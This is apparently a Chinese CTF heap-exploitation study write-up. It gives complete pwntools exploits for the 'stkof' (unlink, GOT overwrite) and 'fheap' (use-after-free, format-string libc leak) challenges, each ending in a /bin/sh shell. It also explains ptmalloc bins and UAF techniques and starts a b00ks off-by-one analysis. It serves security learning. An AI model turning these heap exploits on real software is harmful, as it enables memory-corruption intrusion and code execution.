0x602150: 0x0000000000602138 0x0000000000000000 # fake_chunk2
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

现在Unlink攻击已经完成,chunk2的“fd”被伪造成了“ list-0x8”(chunk2[-3])

1
2
3
4
5
payload='a'*0x8	#填充list[-1]
payload+=p64(elf.got['free'])
payload+=p64(elf.got['puts'])
payload+=p64(elf.got['atoi'])
fill(2,len(payload),payload)
1
2
3
4
5
pwndbg> telescope 0x602140
00:00000x602140 —▸ 0x602018 (free@got.plt) —▸ 0x7f3bd8967540 (free) ◂— push r13
01:00080x602148 —▸ 0x602020 (puts@got.plt) —▸ 0x7f3bd89526a0 (puts) ◂— push r12
02:00100x602150 —▸ 0x602088 (atoi@got.plt) —▸ 0x7f3bd8919e90 (atoi) ◂— sub rsp, 8
03:00180x602158 ◂— 0x0

现在WAA已经完成了,用“fill”填入数据就可以了,首先修改“free”为“puts”,泄露“puts_got”获取“libc_base”:

1
2
3
4
5
6
7
8
9
payload = p64(elf.plt['puts'])
fill(0,len(payload),payload)
free(1)
p.recvuntil('OK\n')
puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00')
puts_libc=u64(puts_libc)
success('puts_libc >> '+hex(puts_libc))
libc_base=puts_libc-libc.sym['puts']
success('libc_base >> '+hex(libc_base))

最后获取“system”,把“atoi”改为“system”,输入“/bin/sh”作为“system”(atoi)的参数

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*

p=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc-2.23.so')
#context(log_level='debug',arch='amd64')

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil('OK\n')

def fill(index,size,content):
p.sendline(str(2))
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(index):
p.sendline(str(3))
p.sendline(str(index))

def printf(index):
p.sendline(str(4))
p.sendline(str(index))
p.recvuntil('OK\n')

#gdb.attach(p)

alloc(0xa0)
alloc(0xa0)
alloc(0xa0)

list_addr=0x602140+0x10
payload=p64(0)+p64(0xa0)
payload+=p64(list_addr-0x18)
payload+=p64(list_addr-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

fill(2,0xb0,payload)
free(3)

payload=p64(0)
payload+=p64(elf.got['free'])
payload+=p64(elf.got['puts'])
payload+=p64(elf.got['atoi'])
fill(2,len(payload),payload)

payload = p64(elf.plt['puts'])
fill(0,len(payload),payload)
free(1)
p.recvuntil('OK\n')
puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00')
puts_libc=u64(puts_libc)
success('puts_libc >> '+hex(puts_libc))
libc_base=puts_libc-libc.sym['puts']
success('libc_base >> '+hex(libc_base))

system_libc=libc_base+libc.sym['system']
success('system_libc >> '+hex(system_libc))
payload = p64(system_libc)
fill(2,len(payload),payload)
p.sendline('/bin/sh')

p.interactive()

PS:

本程序libc版本为“2.23”,使用“2.31”版本打不通,用GDB调试后发现chunk根本没有合并,可能是高版本的libc增加了更多的检查,掐掉了unlink攻击,至于是什么检查以后学习

fheap

1641894315063

循环输入

1641894377327

1641894384819

64位,dynamically,全开

1641894925868

1641894937765

逻辑简单的程序

函数“create”:

程序出现了栈指针异常的错误:(可能掺入了花指)

1641896636586

解决方法如下:

在“0x12AA”处:用“P”创建函数,用“F5”进行反汇编

1641897519387

就是一段执行读操作的代码

1641902724901

1641902743154

先申请“0x20”字节大小的chunk:ptr

然后read读入输出长度:nbytes

输入“input”,获取“input”的实际长度,如果长度大于 “0xf” 就重新“malloc”一个chunk来存储“input”,否则就直接装入“ptr” (最多可以create16次)

函数“delete”:

1641898184915

没有用“free”,这个“unk_4040”无法识别

动态调试

IDA静态分析不能很好地体现程序的流程,先用GDB分析一下

输入值小于“0xf”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290 # chunk1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x5555555592c0 # chunk2
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x5555555592f0
Size: 0x20d11

pwndbg> x/20xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000031
0x5555555592a0: 0x0000616161616161 0x0000000000000000 # chunk1
0x5555555592b0: 0x0000000000000006 0x000055555555549c # free_one
0x5555555592c0: 0x0000000000000000 0x0000000000000031
0x5555555592d0: 0x0000616161616161 0x0000000000000000 # chunk2
0x5555555592e0: 0x0000000000000006 0x000055555555549c # free_one
0x5555555592f0: 0x0000000000000000 0x0000000000020d11

输入值大于“0xf”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290 # chunk1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x5555555592c0 # chunk1_data
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555592e0 # chunk2
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x555555559310 # chunk2_data
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x555555559330
Size: 0x20cd1

pwndbg> x/100xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000031
0x5555555592a0: 0x00005555555592d0 0x0000000000000000 # chunk1
0x5555555592b0: 0x0000000000000011 0x00005555555554bb # free_double
0x5555555592c0: 0x0000000000000000 0x0000000000000021
0x5555555592d0: 0x6161616161616161 0x6161616161616161 # chunk1_data
0x5555555592e0: 0x000000000000000a 0x0000000000000031
0x5555555592f0: 0x0000555555559320 0x0000000000000000 # chunk2
0x555555559300: 0x0000000000000011 0x00005555555554bb # free_double
0x555555559310: 0x0000000000000000 0x0000000000000021
0x555555559320: 0x6262626262626262 0x6262626262626262 # chunk1_data
0x555555559330: 0x000000000000000a 0x0000000000020cd1

小于“0xf”时:直接把“input”写到自己的数据区

0x000055555555549c:“free_one”

1
2
3
4
void __fastcall free_one(void *a1)
{
free(a1);
}

大于“0xf”时:先malloc一个chunk,然后把malloc出来的地址,写到自己的数据区

0x00005555555554bb:“free_double”

1
2
3
4
5
6
7
8
int __fastcall free_double(int **a1)
{
int result; // eax

free(*a1);
free(a1);
return result;
}

入侵思路

没有栈溢出,有UAF漏洞(“free_one”和“free_double”都不置空指针)

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(size,content):
p.recvuntil("3.quit\n")
p.sendline("create string")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("str:")
p.send(content)
def delete(id):
p.recvuntil("3.quit\n")
p.sendline("delete string")
p.recvuntil("id:")
p.sendline(str(id))
p.recvuntil("sure?:")
p.sendline('yes')

问题的关键就是“free_one”这个函数:

1
2
3
0x5555555592c0:	0x0000000000000000	0x0000000000000031
0x5555555592d0: 0x0000616161616161 0x0000000000000000 # chunk2
0x5555555592e0: 0x0000000000000006 0x000055555555549c # free_one

“free_one”位于“chunk2 + 5”这个位置,它不属于“chunk2”,所以在“chunk2”被“free”的时候,它是不受影响的,因此“free_one”遗留在了“chunk2”中

如果利用UAF就可以把“chunk2”作为“chunk1”的“chunk1_data”:

1
2
3
4
5
6
7
8
9
10
add(8,'a'*8)
add(8,'b'*8)
delete(0)
delete(1)

call_puts_addr = '\x69' + '\x00'
payload = 'a'*0x18 + call_puts_addr
add(len(payload),payload)

delete(1)
1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x55ee908bc290
0x55ee908bc290: 0x0000000000000000 0x0000000000000031
0x55ee908bc2a0: 0x000055ee908bc2d0 0x0000000000000000 # chunk1
0x55ee908bc2b0: 0x0000000000000019 0x000055ee8f38e4bb # free_double
0x55ee908bc2c0: 0x0000000000000000 0x0000000000000031
0x55ee908bc2d0: 0x6161616161616161 0x6161616161616161 # chunk1_data(chunk2)
0x55ee908bc2e0: 0x6161616161616161 0x000055ee8f38e469 # puts_addr
0x55ee908bc2f0: 0x0000000000000000 0x0000000000020d11

因为“chunk2”的指针并没有被置空,所以可以使用“delete(1)”操作“chunk2”,而遗留在“chunk2”中的“free_one”会被覆盖低字节为“puts”,泄露了内存数据

​ // 这里只能覆盖最后两位(溢出1字节),因为开了PIE只有最后3位固定

“free_one”原本的参数就是“chunk1_data”,现在改成了“pust”

1
2
3
4
p.recvuntil('a'*24)
puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
#puts_addr=u64(p.recv(6).ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))

可以顺势获“pro_base”,获取“printf_plt”,再利用“printf”格式化字符串来泄露“libc_base”

1
2
3
delete(0)
payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt) #在libc上看的
add(len(payload),payload)
1
2
3
4
5
6
7
8
pwndbg> telescope 0x55fa4c41a2c0
00:00000x55fa4c41a2c0 ◂— 0x0
01:00080x55fa4c41a2c8 ◂— 0x31 /* '1' */
02:00100x55fa4c41a2d0 ◂— 0x6161617024323225 ('%22$paaa')
03:00180x55fa4c41a2d8 ◂— 0x6161616161616161 ('aaaaaaaa')
04:00200x55fa4c41a2e0 ◂— 0x6161616161616161 ('aaaaaaaa')
05:00280x55fa4c41a2e8 —▸ 0x55fa4af3d174 (printf@plt+4) ◂— bnd jmp qword ptr [rip + 0x2e1d]
06:00300x55fa4c41a2f0 ◂— 0x0

发现泄露出来的地址和“libc_base”的差值固定,从而获取“libc_base”:

1
2
3
4
5
In [9]: 0x7f02d59a86a0-0x7f02d57bc000
Out[9]: 2016928

In [10]: hex(2016928)
Out[10]: '0x1ec6a0'

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*


p=process('./fheap')
elf=ELF('./fheap')
libc=ELF('./libc-2.31.so')
#context(arch='amd64',log_level='debug')

def add(size,content):
p.recvuntil("3.quit\n")
p.sendline("create string")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("str:")
p.send(content)
def delete(id):
p.recvuntil("3.quit\n")
p.sendline("delete string")
p.recvuntil("id:")
p.sendline(str(id))
p.recvuntil("sure?:")
p.sendline('yes')

#gdb.attach(p)

add(8,'a'*8)
add(8,'b'*8)
delete(1)
delete(0)

call_puts_addr = '\x69' + '\x00'
payload = 'a'*0x18 + call_puts_addr
add(len(payload),payload)
delete(1)

p.recvuntil('a'*24)
puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
#puts_addr=u64(p.recv(6).ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))

pro_base=puts_addr-0x1469
success('pro_base >> '+hex(pro_base))
printf_plt=pro_base+elf.plt['printf']
success('printf_plt >> '+hex(printf_plt))

delete(0)
payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt)
add(len(payload),payload)
delete(1)

leak_addr=eval(p.recv(14))
success('leak_addr >> '+hex(leak_addr))
libc_base=leak_addr-0x1ec6a0
success('libc_base >> '+hex(libc_base))
system_libc=libc.sym['system']+libc_base

delete(0)
payload = '/bin/sh||'.ljust(0x18,'a') + p64(system_libc)
add(len(payload),payload)
delete(1)

p.interactive()

Ptmalloc算法:UAF

堆利用中较为常见的漏洞,利用了“free”函数本身的缺陷,对已经置空的指针进行操作

UAF一般有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

UAF漏洞主要是后两种,被置空的指针被称为“dangling pointer”


数据结构bins

简单来说bin就是free chunk的容器

ptmalloc 把大小相似的 chunk,用双向链表连接起来,这样就形成了一个 bin,ptmalloc 一共维护了 128 个这样的 bin,并使用数组来存储这些 bin 如下:(32位)

从第2个到第64个bin是small bin,small bin中的chunk大小相同,small bin是一个双向链表

在某一条bin中(chunk大小相同)按照「先入先出」(FIFO 的规则)进行排序,也就是说,刚被释放的放在前面

bins分类:fast bin,small bin,unsorted bin,large bin

bin链都是由当前线程的arena管理的

Fast bin

Fast bin可以看着是 small bins 的一小部分 cache ,设计初衷就是进行快速的小内存分配和释放

概念:chunk 的大小在32字节~128字节(0x20~0x80)的 chunk 称为“fast chunk”(大小不是 malloc 时的大小,而是在内存中 struct malloc_chunk 的大小,包含前2个成员)

特征:

  • Fast bin是 单向链表 只有 FD 指针
  • Fast chunk 不会对其他 free chunk 进行合并
  • 系统将属于 Fast bin 的 chunk 的 PREV_INUSE 位总是设置为1
  • Fast bin 中无论是添加还是移除 fast chunk,都是对“链表头”进行操作,而不会对某个中间的 fast chunk 进行操作

使用次序:后入先出(可以类比一下栈)

  • 释放时:将此 chunk 插入到该 Fast bin 的“链表头”
  • 申请时:优先申请 Fast bin “链表头”处的 chunk(从前向后申请)

通常情况下:

  • 如果chunk大小 小于“0x40(32位) / 0x80(64位)”,那么该chunk会直接存入Fast bin
  • 如果内存请求 小于“0x40(32位) / 0x80(64位)”,那么程序会优先在 Fast bin 中查找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include <stdlib.h>

int main()
{
unsigned int *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int *a,*b,*c;

p1=malloc(0x50);
printf("%p\n",p1-4);
p2=malloc(0x50);
printf("%p\n",p2-4);
p3=malloc(0x50);
printf("%p\n",p3-4);
p4=malloc(0x50);
printf("%p\n",p4-4);
p5=malloc(0x50);
printf("%p\n",p5-4);
p6=malloc(0x50);
printf("%p\n",p6-4);

free(p1); // 直接插入表头
free(p3);
free(p5);
printf("--------------\n");
printf("fastbin:%p -> %p -> %p\n",p5-4,p3-4,p1-4);

a=malloc(0x50); // 从表头开始申请
b=malloc(0x50);
c=malloc(0x50);
printf("--------------\n");
printf("%p\n",a-4);
printf("%p\n",b-4);
printf("%p\n",c-4);
printf("--------------\n");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  [/home/ywhkkx/桌面] ./test 
0x56000683a000
0x56000683a470
0x56000683a4d0
0x56000683a530
0x56000683a590
0x56000683a5f0
--------------
fastbin:0x56000683a590 -> 0x56000683a4d0 -> 0x56000683a000
--------------
0x56000683a590
0x56000683a4d0
0x56000683a000
--------------

Small bin

small bins 中一共有 62 个循环双向链表,每个链表中存储的 chunk 大小都一致

使用次序:先入先出(可以类比一下食堂排队)

  • 释放时:将此 chunk 插入到该 Small bin 的“链表头”
  • 申请时:优先申请 Small bin “链表尾”处的 chunk(从后向前申请)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include <stdlib.h>

int main()
{
unsigned int *p1,*p2,*p3,*p4;
unsigned int a,b,c;

p1=malloc(0x80);
p2=malloc(0x100);
free(p1);
p3=malloc(0x40); // 直接插入表头
p4=malloc(0x100); // 重新分配:把unsortedbin中的chunk转移到smallbin&largebin中
a=p3+0x10;

p1=malloc(0x80);
p2=malloc(0x100);
free(p1);
p3=malloc(0x40);
p4=malloc(0x100);
p1=malloc(0x80);
b=p3+0x10;

p2=malloc(0x100);
free(p1);
p3=malloc(0x40);
p4=malloc(0x100);
c=p3+0x10;

printf("smallbin:0x5555%x -> 0x5555%x -> 0x5555%x\n",c,b,a);
p1=malloc(0x30); // 从表尾开始,向前申请
printf("chunk1:%p\n",p1-4);
p2=malloc(0x30);
printf("chunk2:%p\n",p2-4);
p3=malloc(0x30);
printf("chunk3:%p\n",p3-4);

return 0;
}
1
2
3
4
5
➜  [/home/ywhkkx/桌面] ./test               
smallbin:0x5555a66515b0 -> 0x5555a6651300 -> 0x5555a6651050
chunk1:0x5580a6651050
chunk2:0x5580a6651300
chunk3:0x5580a66515b0

Large bin

large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内

  • 概念:大于等于1024字节(0x400)的chunk称之为large chunk,large bin就是用于管理这些largechunk的
  • large bin链表的个数为63个,被分为6组
  • largechunk使用 fd_nextsize、bk_nextsize 连接起来的
    • fd_nextsize:指向前一个与当前chunk大小不同的第一个空闲块,不包含 bin 的头指针
    • bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针
  • 合并操作:类似于small bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#define largebin_index_32(sz)                                                  \
(((((unsigned long) (sz)) >> 6) <= 38) \
? 56 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) \
? 49 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) \
? 48 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64(sz) : MALLOC_ALIGNMENT == 16 \
? largebin_index_32_big(sz) \
: largebin_index_32(sz))

Unsorted bin

没有来得及被其他bin收入的chunk,就会被认为在unsorted bin中

在使用malloc申请内存时,如果在“fastbin”和“smallbin”中都没有找到合适的free chunk,程序就会在unsorted bin中进行遍历,寻找合适的free chunk,不合适的chunk会被 排序重新分配 到对应的“bins”中

关于bins的内存分配

用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的 chunk,当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的 chunk 中挑选一块合适的给用户,这样可以避免频繁的系统调用,降低内存分配的开销

详细过程:

  • malloc的时候,不论malloc的大小,ptmalloc首先会去检查每个bins链(除去fastbins链)是否有与malloc相等大小的freechunk,如果没有就去检查bins链中是否有 大的freechunk 可以切割

  • 如果存在,那么就切割大的freechunk,那么切割之后 剩余 的chunk成为 last remainder chunk ,并且last remainder chunk会被放入到 unsorted bin

  • 如果没有 大的free chunk 可以切割,程序就会查询 top chunk ,如果top chunk的大小比用户请求的大小要大的话,就将该top chunk分作两部分:1.用户请求的chunk,2.新的top chunk,否则,就需要扩展heap或分配新的heap了——在 main arena 中通过 sbrk 扩展heap,而在 thread arena 中通过 mmap 分配新的heap

流程图:

UAF的利用姿势

UAF的利用比较简单,重点看下程序的“free模块”,看下哪些指针没有被置空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main()
{
char *a;
a = (char *) malloc(sizeof(char)*10); //申请a
memcpy(a,"ywhkkx",10);
printf("a addr:%x,%s\n",a,a);
free(a); //释放a
char *b;
b = (char *)malloc(sizeof(char)*10); //申请相同大小的b
memcpy(a,"isacaib",10);
printf("b addr:%x,%s\n",b,b);
printf("a addr:%x,%s\n",a,a);
return 0;
}
1
2
3
a addr:6792d2a0,ywhkkx
b addr:6792d2a0,isacaib
a addr:6792d2a0,isacaib

可以发现,“a”和“b”指向了同一片内存:对“a”进行控制,就相当于控制了“b”

UAF利用姿势

利用条件:

  • “free模块”没有置空指针
  • 可以对chunk进行读写

利用效果:

  • WAA

利用姿势:

一,申请一个chunk,然后释放:

二,修改该chunk的FD指针为“ Malloc_hook - 0x10 ”:

三,再次申请chunk,并进行修改

原理总述:

利用UAF的特性(可以申请到相同的chunk),先在某个chunk的FD指针中写入 “目标地址 - 0x10” ,程序会误以为它是某个chunk,于是会把这片区域当成chunk给申请出来,最后就可以直接修改了

​ // 如果程序没有提供“修改模块”,则使用Double Free


PS:

基于UAF,可以实现一种被称为Alloc to Stack的技术,和上述操作一致,只不过把“目标地址”换做了栈地址

Wiki上把它归为Fastbin Attack,但它的利用核心还是UAF

这是我在学习堆利用时的例题,因为libc版本的原因,例题的exp完全不适用于我的系统,并且我看不太懂Wiki上的解析,导致我受挫了很多次

通过不断的试错,我最终搞明白了其中的原理,泄露出了“libc_base”,但是被“libc-2.29.so以及后续版本”中的保护机制给卡了一下,get不了shell

在不断的调试中,我的GDB用得越来越熟练了,算是受益匪浅吧


Asis_2016_b00ks

1641486377981

循环输入

1641486431892

1641486441363

64位,dynamically,开了NX,开了PIE,开了Full RELRO

代码分析

1641486779773

1641486812517

先输入“name”,最多“read”32字节到“off_202018”中,接着就是进入选项了

1.Create a book:

1641487287596

输入“书名长度”,“书名”,“描述长度”,“描述”,最后malloc一个list来存储信息

2.Delete a book:

1641487724350

把“书名长度”,“书名”,“描述长度”,“描述”都free了,但只置空了list的指针

3.Edit a book:

1641487974333

可以修改“描述”

4.Print book detail:

1641488022437

打印信息

5.Change current author name:

1641488067893

修改“name”

入侵思路

程序可以修改“description”,那么就要围绕“description”来打,首先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

程序对于堆溢出有所防范:“description”和“bookname”都是没有堆溢出的

1641488067893

但是“name”的输入却溢出了一字节,这里先看看list中的信息:

1
2
3
4
5
6
7
8
9
if ( list )
{
*(list + 6) = len;
*(list_addr + index) = list;
*(list + 2) = description;
*(list + 1) = bookname;
*list = ++id;
return 0LL;
}
1
2
3
4
5
6
7
struct list
{
int id; //base_addr
char *bookname; // base_addr+1
char *description; // base_addr+2
int size; // base_addr+6
}

先用GDB看看“name”的位置,和“name”附近有什么

在“name”中输入“flag”,然后“search flag”:

1
2
3
4
5
6
7
8
9
10
pwndbg> search -s flag
b00ks 0x555555602040 0x67616c66 /* 'flag' */
libc-2.31.so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0'
ld-2.31.so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */
ld-2.31.so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\n'
ld-2.31.so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)'

再打印这个地址:

1
2
3
4
5
6
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000000067616c66 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000
0x555555602080: 0x0000000000000000 0x0000000000000000

只有一个“0x00005555556036f0”,就是“list_addr”(用于存放malloc的list地址)

1641547875813

程序故意把“输入字符串”的末尾设置为“\x00”,但“name”的“\x00”溢出到“list_addr”中了,如果这时申请一个“list”,这时它的写入地址就会存入“list_addr”中,从而覆盖掉“\x00”,就可以利用“printf”打印了

1
2
3
4
5
6
7
8
p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))

那么接着干什么呢?还是要围绕“description”来打

1
2
3
4
5
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

“0x00005555556036f0”为第一个list,它的低字节是可以被“name”给覆盖的

1
2
3
4
5
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x6161616161616161 0x6161616161616161
0x555555602050: 0x6161616161616161 0x6161616161616161
0x555555602060: 0x0000555555603600 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

“0x00005555556036f0”变为了“0x0000555555603600”

这样,程序就会以为“0x0000555555603600”是第一个list

再分析下heap空间:

1
2
3
4
5
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000555555603760 #list_1 & list_2
0x555555602070: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5555556036a0:	0x0000000000000000	0x0000000000000021
0x5555556036b0: 0x0000000071717171 0x0000000000000000 #list_1_bookname
0x5555556036c0: 0x0000000000000000 0x0000000000000021
0x5555556036d0: 0x0000000077777777 0x0000000000000000 #list_1_description
0x5555556036e0: 0x0000000000000000 0x0000000000000031
0x5555556036f0: 0x0000000000000001 0x00005555556036b0 #list_1
0x555555603700: 0x00005555556036d0 0x0000000000000004
0x555555603710: 0x0000000000000000 0x0000000000000021
0x555555603720: 0x0000000065656565 0x0000000000000000 #list_2_bookname
0x555555603730: 0x0000000000000000 0x0000000000000021
0x555555603740: 0x0000000072727272 0x0000000000000000 #list_2_description
0x555555603750: 0x0000000000000000 0x0000000000000031
0x555555603760: 0x0000000000000002 0x0000555555603720 #list_2
0x555555603770: 0x0000555555603740 0x0000000000000004
0x555555603780: 0x0000000000000000 0x0000000000020881

如果这样“create list1”,“create list2”,编辑“list_1_description”输入以下数据:

1
2
3
4
create(0xe0, 'aaaa', 0xe0, 'bbbb')
create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
change(1,payload)

那么会生成以下的heap空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/60xg 0x55c18a470390
0x55c18a470390: 0x0000000000000000 0x00000000000000f1
0x55c18a4703a0: 0x6161616161616161 0x6161616161616161 #list_1_description
0x55c18a4703b0: 0x6161616161616161 0x6161616161616161
0x55c18a4703c0: 0x6161616161616161 0x6161616161616161
0x55c18a4703d0: 0x6161616161616161 0x6161616161616161
0x55c18a4703e0: 0x6161616161616161 0x6161616161616161
0x55c18a4703f0: 0x6161616161616161 0x6161616161616161
0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 #fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a470430: 0x0000000000000000 0x0000000000000000
0x55c18a470440: 0x0000000000000000 0x0000000000000000
0x55c18a470450: 0x0000000000000000 0x0000000000000000
0x55c18a470460: 0x0000000000000000 0x0000000000000000
0x55c18a470470: 0x0000000000000000 0x0000000000000000
0x55c18a470480: 0x0000000000000000 0x0000000000000031
0x55c18a470490: 0x0000000000000001 0x000055c18a4702b0 #list_1
0x55c18a4704a0: 0x000055c18a4703a0 0x00000000000000e0
0x55c18a4704b0: 0x0000000000000000 0x0000000000000031
0x55c18a4704c0: 0x0000000000000002 0x00007fee78052010 #list_2
0x55c18a4704d0: 0x00007fee78030010 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

​ // 因为“list2”的“bookname”和“description”很大,所以用mmap函数进行调用

